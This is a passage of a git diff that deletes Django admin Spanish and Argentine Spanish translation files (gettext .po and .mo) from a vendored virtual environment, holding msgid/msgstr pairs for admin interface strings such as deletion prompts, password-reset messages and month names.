-msgstr "Filtro" - -msgid "Hide counts" -msgstr "Ocultar recuentos" - -msgid "Show counts" -msgstr "Mostrar recuentos" - -msgid "Clear all filters" -msgstr "Borrar todos los filtros" - -msgid "Remove from sorting" -msgstr "Eliminar del ordenación" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "Prioridad de la ordenación: %(priority_number)s" - -msgid "Toggle sorting" -msgstr "Activar la ordenación" - -msgid "Toggle theme (current theme: auto)" -msgstr "Cambiar tema (tema actual: automático)" - -msgid "Toggle theme (current theme: light)" -msgstr "Cambiar tema (tema actual: claro)" - -msgid "Toggle theme (current theme: dark)" -msgstr "Cambiar tema (tema actual: oscuro)" - -msgid "Delete" -msgstr "Eliminar" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"Eliminar el %(object_name)s '%(escaped_object)s' provocaría la eliminación " -"de objetos relacionados, pero su cuenta no tiene permiso para borrar los " -"siguientes tipos de objetos:" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" -"La eliminación de %(object_name)s %(escaped_object)s requeriría eliminar los " -"siguientes objetos relacionados protegidos:" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"¿Está seguro de que quiere borrar los %(object_name)s " -"\"%(escaped_object)s\"? Se borrarán los siguientes objetos relacionados:" - -msgid "Objects" -msgstr "Objetos" - -msgid "Yes, I’m sure" -msgstr "Si, estoy seguro" - -msgid "No, take me back" -msgstr "No, llévame atrás" - -msgid "Delete multiple objects" -msgstr "Eliminar múltiples objetos." - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" -"La eliminación del %(objects_name)s seleccionado resultaría en el borrado de " -"objetos relacionados, pero su cuenta no tiene permisos para borrar los " -"siguientes tipos de objetos:" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" -"La eliminación de %(objects_name)s seleccionado requeriría el borrado de los " -"siguientes objetos protegidos relacionados:" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"¿Está usted seguro que quiere eliminar el %(objects_name)s seleccionado? " -"Todos los siguientes objetos y sus elementos relacionados serán borrados:" - -msgid "Delete?" -msgstr "¿Eliminar?" - -#, python-format -msgid " By %(filter_title)s " -msgstr " Por %(filter_title)s " - -msgid "Summary" -msgstr "Resumen" - -msgid "Recent actions" -msgstr "Acciones recientes" - -msgid "My actions" -msgstr "Mis acciones" - -msgid "None available" -msgstr "Ninguno disponible" - -msgid "Added:" -msgstr "Agregado:" - -msgid "Changed:" -msgstr "Modificado:" - -msgid "Deleted:" -msgstr "Eliminado:" - -msgid "Unknown content" -msgstr "Contenido desconocido" - -msgid "" -"Something’s wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" -"Algo anda mal con la instalación de su base de datos. Asegúrese de que se " -"hayan creado las tablas de base de datos adecuadas y asegúrese de que el " -"usuario adecuado pueda leer la base de datos." - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" -"Se ha autenticado como %(username)s, pero no está autorizado a acceder a " -"esta página. ¿Desea autenticarse con una cuenta diferente?" - -msgid "Forgotten your password or username?" -msgstr "¿Ha olvidado la contraseña o el nombre de usuario?" - -msgid "Toggle navigation" -msgstr "Activar navegación" - -msgid "Sidebar" -msgstr "Barra lateral" - -msgid "Start typing to filter…" -msgstr "Empiece a escribir para filtrar…" - -msgid "Filter navigation items" -msgstr "Filtrar elementos de navegación" - -msgid "Date/time" -msgstr "Fecha/hora" - -msgid "User" -msgstr "Usuario" - -msgid "Action" -msgstr "Acción" - -msgid "entry" -msgid_plural "entries" -msgstr[0] "entrada" -msgstr[1] "entradas" -msgstr[2] "entradas" - -msgid "" -"This object doesn’t have a change history. It probably wasn’t added via this " -"admin site." -msgstr "" -"Este objeto no tiene un historial de cambios. Probablemente no se agregó a " -"través de este sitio de administración." - -msgid "Show all" -msgstr "Mostrar todo" - -msgid "Save" -msgstr "Guardar" - -msgid "Popup closing…" -msgstr "Cerrando ventana emergente..." - -msgid "Search" -msgstr "Buscar" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "%(counter)s resultado" -msgstr[1] "%(counter)s resultados" -msgstr[2] "%(counter)s resultados" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "%(full_result_count)s total" - -msgid "Save as new" -msgstr "Guardar como nuevo" - -msgid "Save and add another" -msgstr "Guardar y añadir otro" - -msgid "Save and continue editing" -msgstr "Guardar y continuar editando" - -msgid "Save and view" -msgstr "Guardar y ver" - -msgid "Close" -msgstr "Cerrar" - -#, python-format -msgid "Change selected %(model)s" -msgstr "Cambiar %(model)s seleccionados" - -#, python-format -msgid "Add another %(model)s" -msgstr "Añadir otro %(model)s" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "Eliminar %(model)s seleccionada/o" - -#, python-format -msgid "View selected %(model)s" -msgstr "Ver seleccionado %(model)s" - -msgid "Thanks for spending some quality time with the web site today." -msgstr "Gracias por pasar un buen rato con el sitio web hoy." - -msgid "Log in again" -msgstr "Iniciar sesión de nuevo" - -msgid "Password change" -msgstr "Cambio de contraseña" - -msgid "Your password was changed." -msgstr "Su contraseña ha sido cambiada." - -msgid "" -"Please enter your old password, for security’s sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" -"Ingrese su contraseña anterior, por razones de seguridad, y luego ingrese su " -"nueva contraseña dos veces para que podamos verificar que la ingresó " -"correctamente." - -msgid "Change my password" -msgstr "Cambiar mi contraseña" - -msgid "Password reset" -msgstr "Restablecer contraseña" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "" -"Su contraseña ha sido establecida. Ahora puede continuar e iniciar sesión." - -msgid "Password reset confirmation" -msgstr "Confirmación de restablecimiento de contraseña" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" -"Por favor, introduzca su contraseña nueva dos veces para verificar que la ha " -"escrito correctamente." - -msgid "New password:" -msgstr "Contraseña nueva:" - -msgid "Confirm password:" -msgstr "Confirme contraseña:" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"El enlace de restablecimiento de contraseña era inválido, seguramente porque " -"se haya usado antes. Por favor, solicite un nuevo restablecimiento de " -"contraseña." - -msgid "" -"We’ve emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" -"Le enviamos instrucciones por correo electrónico para configurar su " -"contraseña, si existe una cuenta con el correo electrónico que ingresó. " -"Debería recibirlos en breve." - -msgid "" -"If you don’t receive an email, please make sure you’ve entered the address " -"you registered with, and check your spam folder." -msgstr "" -"Si no recibe un correo electrónico, asegúrese de haber ingresado la " -"dirección con la que se registró y verifique su carpeta de correo no deseado." - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" -"Ha recibido este correo electrónico porque ha solicitado restablecer la " -"contraseña para su cuenta en %(site_name)s." - -msgid "Please go to the following page and choose a new password:" -msgstr "Por favor, vaya a la página siguiente y escoja una nueva contraseña." - -msgid "Your username, in case you’ve forgotten:" -msgstr "Su nombre de usuario, en caso de que lo haya olvidado:" - -msgid "Thanks for using our site!" -msgstr "¡Gracias por usar nuestro sitio!" - -#, python-format -msgid "The %(site_name)s team" -msgstr "El equipo de %(site_name)s" - -msgid "" -"Forgotten your password? Enter your email address below, and we’ll email " -"instructions for setting a new one." -msgstr "" -"¿Olvidaste tu contraseña? Ingrese su dirección de correo electrónico a " -"continuación y le enviaremos las instrucciones para configurar una nueva." - -msgid "Email address:" -msgstr "Correo electrónico:" - -msgid "Reset my password" -msgstr "Restablecer mi contraseña" - -msgid "Select all objects on this page for an action" -msgstr "Seleccione todos los objetos de esta página para una acción" - -msgid "All dates" -msgstr "Todas las fechas" - -#, python-format -msgid "Select %s" -msgstr "Seleccione %s" - -#, python-format -msgid "Select %s to change" -msgstr "Seleccione %s a modificar" - -#, python-format -msgid "Select %s to view" -msgstr "Seleccione %s para ver" - -msgid "Date:" -msgstr "Fecha:" - -msgid "Time:" -msgstr "Hora:" - -msgid "Lookup" -msgstr "Buscar" - -msgid "Currently:" -msgstr "Actualmente:" - -msgid "Change:" -msgstr "Cambiar:" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/es/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/es/LC_MESSAGES/djangojs.mo deleted file mode 100644 index 76616108..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/es/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/es/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/es/LC_MESSAGES/djangojs.po deleted file mode 100644 index e2c5567f..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/es/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,336 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Antoni Aloy , 2011-2012 -# e4db27214f7e7544f2022c647b585925_bb0e321, 2015-2016 -# Jannis Leidel , 2011 -# Josue Naaman Nistal Guerra , 2014 -# Leonardo J. Caballero G. , 2011 -# Uriel Medina , 2020-2023 -# Veronicabh , 2015 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2023-09-18 15:04-0300\n" -"PO-Revision-Date: 2023-12-04 07:59+0000\n" -"Last-Translator: Uriel Medina , 2020-2023\n" -"Language-Team: Spanish (http://app.transifex.com/django/django/language/" -"es/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: es\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, javascript-format -msgid "Available %s" -msgstr "%s Disponibles" - -#, javascript-format -msgid "" -"This is the list of available %s. You may choose some by selecting them in " -"the box below and then clicking the \"Choose\" arrow between the two boxes." -msgstr "" -"Esta es la lista de %s disponibles. Puede elegir algunos seleccionándolos en " -"la caja inferior y luego haciendo clic en la flecha \"Elegir\" que hay entre " -"las dos cajas." - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "Escriba en este cuadro para filtrar la lista de %s disponibles" - -msgid "Filter" -msgstr "Filtro" - -msgid "Choose all" -msgstr "Selecciona todos" - -#, javascript-format -msgid "Click to choose all %s at once." -msgstr "Haga clic para seleccionar todos los %s de una vez" - -msgid "Choose" -msgstr "Elegir" - -msgid "Remove" -msgstr "Eliminar" - -#, javascript-format -msgid "Chosen %s" -msgstr "%s elegidos" - -#, javascript-format -msgid "" -"This is the list of chosen %s. You may remove some by selecting them in the " -"box below and then clicking the \"Remove\" arrow between the two boxes." -msgstr "" -"Esta es la lista de los %s elegidos. Puede elmininar algunos " -"seleccionándolos en la caja inferior y luego haciendo click en la flecha " -"\"Eliminar\" que hay entre las dos cajas." - -#, javascript-format -msgid "Type into this box to filter down the list of selected %s." -msgstr "Escriba en este cuadro para filtrar la lista de %s seleccionados." - -msgid "Remove all" -msgstr "Eliminar todos" - -#, javascript-format -msgid "Click to remove all chosen %s at once." -msgstr "Haz clic para eliminar todos los %s elegidos" - -#, javascript-format -msgid "%s selected option not visible" -msgid_plural "%s selected options not visible" -msgstr[0] "%s opción seleccionada no visible" -msgstr[1] "%s opciones seleccionadas no visibles" -msgstr[2] "%s opciones seleccionadas no visibles" - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "%(sel)s de %(cnt)s seleccionado" -msgstr[1] "%(sel)s de %(cnt)s seleccionados" -msgstr[2] "%(sel)s de %(cnt)s seleccionados" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" -"Tiene cambios sin guardar en campos editables individuales. Si ejecuta una " -"acción, los cambios no guardados se perderán." - -msgid "" -"You have selected an action, but you haven’t saved your changes to " -"individual fields yet. Please click OK to save. You’ll need to re-run the " -"action." -msgstr "" -"Ha seleccionado una acción, pero aún no ha guardado los cambios en los " -"campos individuales. Haga clic en Aceptar para guardar. Deberá volver a " -"ejecutar la acción." - -msgid "" -"You have selected an action, and you haven’t made any changes on individual " -"fields. You’re probably looking for the Go button rather than the Save " -"button." -msgstr "" -"Ha seleccionado una acción y no ha realizado ningún cambio en campos " -"individuales. Probablemente esté buscando el botón 'Ir' en lugar del botón " -"'Guardar'." - -msgid "Now" -msgstr "Ahora" - -msgid "Midnight" -msgstr "Medianoche" - -msgid "6 a.m." -msgstr "6 a.m." - -msgid "Noon" -msgstr "Mediodía" - -msgid "6 p.m." -msgstr "6 p.m." - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "Nota: Usted esta a %s horas por delante de la hora del servidor." -msgstr[1] "Nota: Usted va %s horas por delante de la hora del servidor." -msgstr[2] "Nota: Usted va %s horas por delante de la hora del servidor." - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "Nota: Usted esta a %s hora de retraso de tiempo de servidor." -msgstr[1] "Nota: Usted va %s horas por detrás de la hora del servidor." -msgstr[2] "Nota: Usted va %s horas por detrás de la hora del servidor." - -msgid "Choose a Time" -msgstr "Elija una Hora" - -msgid "Choose a time" -msgstr "Elija una hora" - -msgid "Cancel" -msgstr "Cancelar" - -msgid "Today" -msgstr "Hoy" - -msgid "Choose a Date" -msgstr "Elija una Fecha" - -msgid "Yesterday" -msgstr "Ayer" - -msgid "Tomorrow" -msgstr "Mañana" - -msgid "January" -msgstr "Enero" - -msgid "February" -msgstr "Febrero" - -msgid "March" -msgstr "Marzo" - -msgid "April" -msgstr "Abril" - -msgid "May" -msgstr "Mayo" - -msgid "June" -msgstr "Junio" - -msgid "July" -msgstr "Julio" - -msgid "August" -msgstr "Agosto" - -msgid "September" -msgstr "Septiembre" - -msgid "October" -msgstr "Octubre" - -msgid "November" -msgstr "Noviembre" - -msgid "December" -msgstr "Diciembre" - -msgctxt "abbrev. month January" -msgid "Jan" -msgstr "Ene" - -msgctxt "abbrev. month February" -msgid "Feb" -msgstr "Feb" - -msgctxt "abbrev. month March" -msgid "Mar" -msgstr "Mar" - -msgctxt "abbrev. month April" -msgid "Apr" -msgstr "Abr" - -msgctxt "abbrev. month May" -msgid "May" -msgstr "May" - -msgctxt "abbrev. month June" -msgid "Jun" -msgstr "Jun" - -msgctxt "abbrev. month July" -msgid "Jul" -msgstr "Jul" - -msgctxt "abbrev. month August" -msgid "Aug" -msgstr "Ago" - -msgctxt "abbrev. month September" -msgid "Sep" -msgstr "Sep" - -msgctxt "abbrev. month October" -msgid "Oct" -msgstr "Oct" - -msgctxt "abbrev. month November" -msgid "Nov" -msgstr "Nov" - -msgctxt "abbrev. month December" -msgid "Dec" -msgstr "Dic" - -msgid "Sunday" -msgstr "Domingo" - -msgid "Monday" -msgstr "Lunes" - -msgid "Tuesday" -msgstr "Martes" - -msgid "Wednesday" -msgstr "Miércoles" - -msgid "Thursday" -msgstr "Jueves" - -msgid "Friday" -msgstr "Viernes" - -msgid "Saturday" -msgstr "Sábado" - -msgctxt "abbrev. day Sunday" -msgid "Sun" -msgstr "Dom" - -msgctxt "abbrev. day Monday" -msgid "Mon" -msgstr "Lun" - -msgctxt "abbrev. day Tuesday" -msgid "Tue" -msgstr "Mar" - -msgctxt "abbrev. day Wednesday" -msgid "Wed" -msgstr "Mie" - -msgctxt "abbrev. day Thursday" -msgid "Thur" -msgstr "Jue" - -msgctxt "abbrev. day Friday" -msgid "Fri" -msgstr "Vie" - -msgctxt "abbrev. day Saturday" -msgid "Sat" -msgstr "Sáb" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "D" - -msgctxt "one letter Monday" -msgid "M" -msgstr "L" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "M" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "M" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "J" - -msgctxt "one letter Friday" -msgid "F" -msgstr "V" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "S" - -msgid "Show" -msgstr "Mostrar" - -msgid "Hide" -msgstr "Ocultar" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/es_AR/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/es_AR/LC_MESSAGES/django.mo deleted file mode 100644 index 691af33e..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/es_AR/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/es_AR/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/es_AR/LC_MESSAGES/django.po deleted file mode 100644 index 35a169d6..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/es_AR/LC_MESSAGES/django.po +++ /dev/null @@ -1,805 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Jannis Leidel , 2011 -# Leonardo José Guzmán , 2013 -# Natalia, 2023 -# Natalia, 2023 -# Ramiro Morales, 2013-2025 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2025-03-19 11:30-0500\n" -"PO-Revision-Date: 2025-04-01 15:04-0500\n" -"Last-Translator: Ramiro Morales, 2013-2025\n" -"Language-Team: Spanish (Argentina) (http://app.transifex.com/django/django/" -"language/es_AR/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: es_AR\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "Eliminar %(verbose_name_plural)s seleccionados/as" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "Se eliminaron con éxito %(count)d %(items)s." - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "No se puede eliminar %(name)s" - -msgid "Delete multiple objects" -msgstr "Eliminar múltiples objetos" - -msgid "Administration" -msgstr "Administración" - -msgid "All" -msgstr "Todos/as" - -msgid "Yes" -msgstr "Sí" - -msgid "No" -msgstr "No" - -msgid "Unknown" -msgstr "Desconocido" - -msgid "Any date" -msgstr "Cualquier fecha" - -msgid "Today" -msgstr "Hoy" - -msgid "Past 7 days" -msgstr "Últimos 7 días" - -msgid "This month" -msgstr "Este mes" - -msgid "This year" -msgstr "Este año" - -msgid "No date" -msgstr "Sin fecha" - -msgid "Has date" -msgstr "Tiene fecha" - -msgid "Empty" -msgstr "Vacío/a" - -msgid "Not empty" -msgstr "No vacío/a" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" -"Por favor introduza %(username)s y contraseña correctos de una cuenta de " -"staff. Note que puede que ambos campos sean estrictos en relación a " -"diferencias entre mayúsculas y minúsculas." - -msgid "Action:" -msgstr "Acción:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "Agregar otro/a %(verbose_name)s" - -msgid "Remove" -msgstr "Eliminar" - -msgid "Addition" -msgstr "Agregado" - -msgid "Change" -msgstr "Modificar" - -msgid "Deletion" -msgstr "Borrado" - -msgid "action time" -msgstr "hora de la acción" - -msgid "user" -msgstr "usuario" - -msgid "content type" -msgstr "tipo de contenido" - -msgid "object id" -msgstr "id de objeto" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/library/functions.html#repr) -msgid "object repr" -msgstr "repr de objeto" - -msgid "action flag" -msgstr "marca de acción" - -msgid "change message" -msgstr "mensaje de cambio" - -msgid "log entry" -msgstr "entrada de registro" - -msgid "log entries" -msgstr "entradas de registro" - -#, python-format -msgid "Added “%(object)s”." -msgstr "Se agrega \"%(object)s”." - -#, python-format -msgid "Changed “%(object)s” — %(changes)s" -msgstr "Se modifica \"%(object)s” — %(changes)s" - -#, python-format -msgid "Deleted “%(object)s.”" -msgstr "Se elimina \"%(object)s”." - -msgid "LogEntry Object" -msgstr "Objeto LogEntry" - -#, python-brace-format -msgid "Added {name} “{object}”." -msgstr "Se agrega {name} \"{object}”." - -msgid "Added." -msgstr "Agregado." - -msgid "and" -msgstr "y" - -#, python-brace-format -msgid "Changed {fields} for {name} “{object}”." -msgstr "Se modifican {fields} en {name} \"{object}”." - -#, python-brace-format -msgid "Changed {fields}." -msgstr "Modificación de {fields}." - -#, python-brace-format -msgid "Deleted {name} “{object}”." -msgstr "Se elimina {name} \"{object}”." - -msgid "No fields changed." -msgstr "No ha modificado ningún campo." - -msgid "None" -msgstr "Ninguno" - -msgid "Hold down “Control”, or “Command” on a Mac, to select more than one." -msgstr "" -"Mantenga presionada \"Control” (\"Command” en una Mac) para seleccionar más " -"de uno." - -msgid "Select this object for an action - {}" -msgstr "Seleccione este objeto para una acción - {}" - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully." -msgstr "Se agregó con éxito {name} \"{obj}”." - -msgid "You may edit it again below." -msgstr "Puede modificarlo/a nuevamente mas abajo." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was added successfully. You may add another {name} below." -msgstr "" -"Se agregó con éxito {name} \"{obj}”. Puede agregar otro/a {name} abajo." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may edit it again below." -msgstr "" -"Se modificó con éxito {name} \"{obj}”. Puede modificarlo/a nuevamente abajo." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may add another {name} " -"below." -msgstr "" -"Se modificó con éxito {name} \"{obj}”. Puede agregar otro {name} abajo." - -#, python-brace-format -msgid "The {name} “{obj}” was changed successfully." -msgstr "Se modificó con éxito {name} \"{obj}”." - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" -"Deben existir ítems seleccionados para poder realizar acciones sobre los " -"mismos. No se modificó ningún ítem." - -msgid "No action selected." -msgstr "No se ha seleccionado ninguna acción." - -#, python-format -msgid "The %(name)s “%(obj)s” was deleted successfully." -msgstr "Se eliminó con éxito %(name)s \"%(obj)s”." - -#, python-format -msgid "%(name)s with ID “%(key)s” doesn’t exist. Perhaps it was deleted?" -msgstr "No existe %(name)s con ID \"%(key)s”. ¿Quizá fue eliminado/a?" - -#, python-format -msgid "Add %s" -msgstr "Agregar %s" - -#, python-format -msgid "Change %s" -msgstr "Modificar %s" - -#, python-format -msgid "View %s" -msgstr "Ver %s" - -msgid "Database error" -msgstr "Error de base de datos" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "Se ha modificado con éxito %(count)s %(name)s." -msgstr[1] "Se han modificado con éxito %(count)s %(name)s." -msgstr[2] "Se han modificado con éxito %(count)s %(name)s." - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "%(total_count)s seleccionados/as" -msgstr[1] "Todos/as (%(total_count)s en total) han sido seleccionados/as" -msgstr[2] "Todos/as (%(total_count)s en total) han sido seleccionados/as" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "0 de %(cnt)s seleccionados/as" - -msgid "Delete" -msgstr "Eliminar" - -#, python-format -msgid "Change history: %s" -msgstr "Historia de modificaciones: %s" - -#. Translators: Model verbose name and instance -#. representation, suitable to be an item in a -#. list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "%(class_name)s %(instance)s" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" -"La eliminación de %(class_name)s %(instance)s provocaría la eliminación de " -"los siguientes objetos relacionados protegidos: %(related_objects)s" - -msgid "Django site admin" -msgstr "Administración de sitio Django" - -msgid "Django administration" -msgstr "Administración de Django" - -msgid "Site administration" -msgstr "Administración de sitio" - -msgid "Log in" -msgstr "Identificarse" - -#, python-format -msgid "%(app)s administration" -msgstr "Administración de %(app)s" - -msgid "Page not found" -msgstr "Página no encontrada" - -msgid "We’re sorry, but the requested page could not be found." -msgstr "Lo lamentamos, no se encontró la página solicitada." - -msgid "Home" -msgstr "Inicio" - -msgid "Server error" -msgstr "Error del servidor" - -msgid "Server error (500)" -msgstr "Error del servidor (500)" - -msgid "Server Error (500)" -msgstr "Error de servidor (500)" - -msgid "" -"There’s been an error. It’s been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" -"Ha ocurrido un error. Se ha reportado el mismo a los administradores del " -"sitio vía email y debería ser solucionado en breve. Le agradecemos por su " -"paciencia." - -msgid "Run the selected action" -msgstr "Ejecutar la acción seleccionada" - -msgid "Go" -msgstr "Ejecutar" - -msgid "Click here to select the objects across all pages" -msgstr "Haga click aquí para seleccionar los objetos de todas las páginas" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "Seleccionar lo(s)/a(s) %(total_count)s %(module_name)s existentes" - -msgid "Clear selection" -msgstr "Borrar selección" - -msgid "Breadcrumbs" -msgstr "Breadcrumbs" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "Modelos en la aplicación %(name)s" - -msgid "Model name" -msgstr "Nombre del modelo" - -msgid "Add link" -msgstr "Agregar link" - -msgid "Change or view list link" -msgstr "Cambiar o ver enlace de lista" - -msgid "Add" -msgstr "Agregar" - -msgid "View" -msgstr "Ver" - -msgid "You don’t have permission to view or edit anything." -msgstr "No tiene permiso para ver o modificar nada." - -msgid "After you’ve created a user, you’ll be able to edit more user options." -msgstr "Después de crear un usuario podrá configurar más opciones del mismo." - -msgid "Error:" -msgstr "Error:" - -msgid "Change password" -msgstr "Cambiar contraseña" - -msgid "Set password" -msgstr "Establecer contraseña" - -msgid "Please correct the error below." -msgid_plural "Please correct the errors below." -msgstr[0] "Por favor, corrija el siguiente error." -msgstr[1] "Por favor, corrija los siguientes errores." -msgstr[2] "Por favor, corrija los siguientes errores." - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "" -"Introduzca una nueva contraseña para el usuario %(username)s." - -msgid "" -"This action will enable password-based authentication for " -"this user." -msgstr "" -"Esta acción activará la autenticación basada en contraseñas " -"para este usuario." - -msgid "Disable password-based authentication" -msgstr "Desactivar la autenticación basada en contraseñas" - -msgid "Enable password-based authentication" -msgstr "Activar la autenticación basada en contraseñas" - -msgid "Skip to main content" -msgstr "Ir al contenido principal" - -msgid "Welcome," -msgstr "Bienvenido/a," - -msgid "View site" -msgstr "Ver sitio" - -msgid "Documentation" -msgstr "Documentación" - -msgid "Log out" -msgstr "Cerrar sesión" - -#, python-format -msgid "Add %(name)s" -msgstr "Agregar %(name)s" - -msgid "History" -msgstr "Historia" - -msgid "View on site" -msgstr "Ver en el sitio" - -msgid "Filter" -msgstr "Filtrar" - -msgid "Hide counts" -msgstr "Ocultar recuentos" - -msgid "Show counts" -msgstr "Mostrar recuentos" - -msgid "Clear all filters" -msgstr "Limpiar todos los filtros" - -msgid "Remove from sorting" -msgstr "Remover de ordenamiento" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "Prioridad de ordenamiento: %(priority_number)s" - -msgid "Toggle sorting" -msgstr "Alternar ordenamiento" - -msgid "Toggle theme (current theme: auto)" -msgstr "Cambiar tema (tema actual: automático)" - -msgid "Toggle theme (current theme: light)" -msgstr "Cambiar tema (tema actual: claro)" - -msgid "Toggle theme (current theme: dark)" -msgstr "Cambiar tema (tema actual: oscuro)" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"Eliminar el %(object_name)s '%(escaped_object)s' provocaría la eliminación " -"de objetos relacionados, pero su cuenta no tiene permiso para eliminar los " -"siguientes tipos de objetos:" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" -"Eliminar los %(object_name)s '%(escaped_object)s' requeriría eliminar " -"también los siguientes objetos relacionados protegidos:" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"¿Está seguro de que desea eliminar los %(object_name)s " -"\"%(escaped_object)s\"? Se eliminarán los siguientes objetos relacionados:" - -msgid "Objects" -msgstr "Objectos" - -msgid "Yes, I’m sure" -msgstr "Si, estoy seguro" - -msgid "No, take me back" -msgstr "No, volver" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" -"Eliminar el/los objetos %(objects_name)s seleccionados provocaría la " -"eliminación de objetos relacionados a los mismos, pero su cuenta de usuario " -"no tiene los permisos necesarios para eliminar los siguientes tipos de " -"objetos:" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" -"Eliminar el/los objetos %(objects_name)s seleccionados requeriría eliminar " -"también los siguientes objetos relacionados protegidos:" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"¿Está seguro de que desea eliminar el/los objetos %(objects_name)s?. Todos " -"los siguientes 